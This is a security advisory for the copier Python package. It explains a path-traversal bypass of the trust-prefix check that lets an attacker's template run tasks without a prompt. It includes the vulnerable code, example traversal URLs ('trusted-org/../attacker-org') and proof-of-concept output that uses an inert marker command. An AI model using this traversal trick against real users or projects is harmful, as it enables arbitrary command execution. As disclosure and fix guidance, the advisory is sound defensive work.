Skip to content

Copier: trust-prefix bypass via path traversal runs tasks unprompted

High
sisp published GHSA-9gmc-jqmh-3rvm Jun 13, 2026

Package

pip copier (pip)

Affected versions

>= 9.5.0, <= 9.15.1

Patched versions

9.15.2

Description

Copier: trust-prefix bypass via path traversal runs tasks unprompted

Summary

In copier >= 9.5.0, <= 9.15.1, the trust setting's prefix match
(copier/_settings.py) compares the template URL against a trusted prefix with
a raw str.startswith and no path normalization, while the URL is
normalized when the template is actually fetched (Path.resolve() for local
paths; libcurl dot-segment removal for https). A template reference that
textually starts with a trusted prefix but contains ..
(e.g. https://github.com/trusted-org/../attacker-org/repo.git) is therefore
granted trust yet resolves to a different, attacker-controlled template, whose
tasks / migrations / jinja_extensions then run without the --trust
prompt — arbitrary command execution. Likely CWE-22 (Improper Limitation of
a Pathname) in the trust check leading to CWE-94 (code execution).

Details

trust lets users mark template locations as trusted so copier skips the
unsafe-feature gate. A trailing / makes an entry a prefix match
(docs/settings.md: "Locations ending with / will be matched as prefixes,
trusting all templates from that location").

copier/_settings.py:141-146 (tag v9.15.1):

    return any(
        repository.startswith(_normalize(t))
        if t.endswith("/")
        else repository == _normalize(t)
        for t in trust
    )

_normalize only expands ~; it does not touch .. or collapse segments —
copier/_settings.py:149-152 (tag v9.15.1):

def _normalize(url: str) -> str:
    if url.startswith("~"):  # Only expand on str to avoid messing with URLs
        url = expanduser(url)  # noqa: PTH111
    return url

This decision gates code execution — copier/_main.py:293 (tag v9.15.1):

        if self.unsafe or is_trusted_repository(self.settings.trust, self.template.url):
            return  # skip the unsafe-feature check entirely

The chain: the trust comparison sees the raw URL, so
"https://github.com/safeorg/../evilorg/t.git".startswith("https://github.com/safeorg/")
is True; but the value copier hands to git/pathlib is normalized, so
the template actually loaded is evilorg/t (a different, attacker-owned org).
Trust is granted to a location the user never trusted, and _check_unsafe
returns early, so the malicious template's tasks execute with no prompt.

This is most acute on copier update, which reads _src_path from the
project's .copier-answers.yml (copier/_subproject.py) — i.e. an attacker who
hands you a project controls the URL that the trust check is applied to.

In-repo asymmetry that confirms the omission: copier consistently resolves
paths everywhere else it makes a security decision — Path.resolve() plus
is_relative_to(...) guards in _render_template, template_copy_root, and
_external_data — but not in the trust comparison.

PoC

Self-contained standalone script; runs against a clean, pinned PyPI install via
the real copier CLI only. Static by default (copier copy --pretend
reaches the trust decision but does not execute tasks); --prove-exec is an
opt-in supplementary run that fires an inert marker (echo + touch). The full
poc.py accompanies this report.

Build and run:

python -m venv venv && . venv/bin/activate
pip install "copier==9.15.1"
python poc.py                # static proof (default)
python poc.py --prove-exec   # also fire the inert marker

Observed output (copier 9.15.1):

== version proof ==
  copier == 9.15.1
  module : .../site-packages/copier/__init__.py

== inputs ==
  trusted prefix (settings.yml): /tmp/copier_trust_poc_XXXX/trusted_templates/
  control src (canonical)      : /tmp/copier_trust_poc_XXXX/attacker/evil_template
  exploit src (traversal)      : /tmp/copier_trust_poc_XXXX/trusted_templates/../attacker/evil_template
  both resolve to the SAME dir : True
  exploit startswith trusted/  : True
  minimal delta                : exploit = '/tmp/copier_trust_poc_XXXX/trusted_templates/..' + '/attacker/evil_template'

== static proof (copier copy --pretend; payload NOT executed) ==
  control (canonical, untrusted): exit=4  -> BLOCKED (UnsafeTemplateError)
  exploit (trusted-prefix /..)  : exit=0  -> TRUSTED, task reached
  marker on disk after --pretend: False (expected False: --pretend does not run tasks)

  --- copier's own output for the exploit (note the task it WOULD run) ---
  | Copying from template version None
  |     create  hello.txt
  |  > Running task 1 of 1: echo COPIER-TRUST-BYPASS-RCE-MARKER && touch COPIER_RCE_PROOF

== VERDICT ==
  BYPASS CONFIRMED: identical template is refused by canonical path
  (exit 4) yet granted trust via '<trusted>/..' traversal (exit 0),
  so its tasks run with no --trust prompt.

== --prove-exec: running the exploit for real (inert marker) ==
  | COPIER-TRUST-BYPASS-RCE-MARKER
  |  > Running task 1 of 1: echo COPIER-TRUST-BYPASS-RCE-MARKER && touch COPIER_RCE_PROOF
  exit=0  marker file 'COPIER_RCE_PROOF' created: True
  -> ARBITRARY COMMAND EXECUTED via a 'trusted' template, no --trust

The exploit is the same template as the control plus the minimal delta
<trusted_prefix>/... Deterministic: same input → same result. The PoC uses a
local trusted prefix for a self-contained, network-free run; the https case is
identical because git normalizes .. before the request — e.g.
git ls-remote "https://github.com/copier-org/../pallets/flask.git" emits
warning: redirecting to https://github.com/pallets/flask.git/ and returns
pallets/flask's refs, a different org than the trusted copier-org/.

Impact

A user who has configured a trusted prefix (a trailing-/ entry in
trust, a documented feature) no longer gets the unsafe-feature prompt for a
template that merely appears to live under that prefix. Any party who can
influence the template URL — most realistically the author of a project the
victim runs copier update on, since _src_path comes from that project's
.copier-answers.yml — can host the real template under a different
org/location reached via .. and have its tasks/migrations/
jinja_extensions execute arbitrary commands with no prompt. It fires on a
default, modern git for both local paths and https.

Proposed severity: High, comparable to the project's prior unsafe-template
advisory (GHSA-3xw7-v6cj-5q8h). Proposed CVSS v4 vector (maintainer to finalize;
AT:P reflects the required trusted-prefix configuration):
CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H. Conservative
variant if you scope impact to the user account only (no host escape claim):
drop SC/SI/SA to N.

Recommended fix

Normalize both sides before comparing, instead of raw startswith. For
local entries, compare resolved absolute paths (Path(t).resolve() vs
Path(repository).resolve()) using segment containment / is_relative_to, the
pattern already used in _render_template and template_copy_root. For URL
entries, parse the URL and reject or collapse .././empty path segments
before the prefix test. As defense-in-depth, reject any _src_path read from an
answers file that contains .. segments after the scheme/host, since
legitimate template URLs never need them.

References

  • CWE-22 — https://cwe.mitre.org/data/definitions/22.html
  • CWE-94 — https://cwe.mitre.org/data/definitions/94.html
  • Affected source (tag v9.15.1): copier/_settings.py:141-146 (prefix match),
    copier/_settings.py:149-152 (_normalize), copier/_main.py:293 (trust gate).
  • Documented prefix behavior: docs/settings.md ("Locations ending with /
    will be matched as prefixes").
  • https .. normalization: libcurl removes dot segments by default
    (CURLOPT_PATH_AS_IS defaults to off) — https://curl.se/libcurl/c/CURLOPT_PATH_AS_IS.html
  • Novelty: distinct from copier's published advisories, which concern filesystem
    read/write traversal in rendered output; this is an authorization bypass in
    the trust setting's URL matching. The flawed match is identical between
    released v9.15.1 and current master HEAD, and unchanged since the
    trust-prefix feature was introduced in v9.5.0 (originally copier/settings.py,
    commit 71358ed; renamed to copier/_settings.py in the v9.12.0 refactor).

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Local
Attack Complexity Low
Attack Requirements Present
Privileges Required None
User interaction Passive
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality High
Integrity High
Availability High

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

CVE ID

CVE-2026-53951

Weaknesses

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Learn more on MITRE.

Improper Control of Generation of Code ('Code Injection')

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. Learn more on MITRE.

Credits